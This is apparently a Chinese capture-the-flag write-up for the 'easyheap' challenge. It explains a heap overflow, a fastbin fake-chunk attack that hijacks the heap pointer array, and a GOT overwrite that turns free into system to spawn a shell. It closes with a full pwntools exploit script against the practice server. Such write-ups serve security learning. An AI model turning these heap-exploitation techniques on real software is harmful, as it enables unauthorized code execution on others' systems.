题目
题目链接
checksec

IDA
main

菜单题

create

delete

edit

有明显的堆溢出,考虑通过 fastbin 获取在 heaparray 附近的 fake chunk ,再劫持 heaparray 以实现任意地址写
got

systemplt

构造合适位置的 fake chunk


0x6020ad 处有满足 size = 0x7f 的 fake chunk ,故申请 0x68 字节,使用 0x70 的 fastbin 链表
攻击思路
先利用堆溢出漏洞劫持已进入 fastbin 的 chunk 的 fd 指针为 fake chunk 地址 0x6020ad
再通过 malloc 申请这块 fake chunk ,同时在 fake chunk 写入 payload 劫持 heaparray[0]
由于我们希望通过 system(“/bin/sh”) 提权,然而 elf 中并没有 “/bin/sh” 字符串,这需要我们手动写入
更坏的是,我们似乎并没有操纵栈的机会,只能通过劫持 got 表短暂地劫持程序流程,,,
所以这里有一个巧妙的方法:注意到 system 的参数为 rdi ,所以我们可以把 free 劫持为 system_plt ,由于 free 的参数是我们自己可以设定的,通过在某个索引为 idx 的 chunk 上写入 “/bin/sh\x00” ,调用 delete_heap(idx) 后即可执行 system(“/bin/sh”) 提权
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h']
debug = 0
if debug: p = process('./easyheap') else: p = remote('node5.buuoj.cn', 26200)
def pcreate(size, content): p.recvuntil(b'choice :') p.sendline(b'1') p.recvuntil(b'Heap : ') p.sendline(str(size).encode()) p.recvuntil(b'heap:') p.sendline(content) def pedit(index, size, content): p.recvuntil(b'choice :') p.sendline(b'2') p.recvuntil(b'Index :') p.sendline(str(index).encode()) p.recvuntil(b'Heap : ') p.sendline(str(size).encode()) p.recvuntil(b'heap : ') p.sendline(content) def pdelete(index): p.recvuntil(b'choice :') p.sendline(b'3') p.recvuntil(b'Index :') p.sendline(str(index).encode())
def attack(): pcreate(0x68, b'') pcreate(0x68, b'') pcreate(0x68, b'') pdelete(2)
payload = b'A' * 0x68 + p64(0x7f) + p64(0x6020ad) pedit(1, len(payload), payload)
pcreate(0x68, b'') payload = b'A' * 35 + p64(0x602018) pcreate(0x68, payload)
payload = p64(0x400700) pedit(0, len(payload), payload)
payload = b'/bin/sh\x00' pedit(1, len(payload), payload)
pdelete(1)
p.interactive()
attack()
|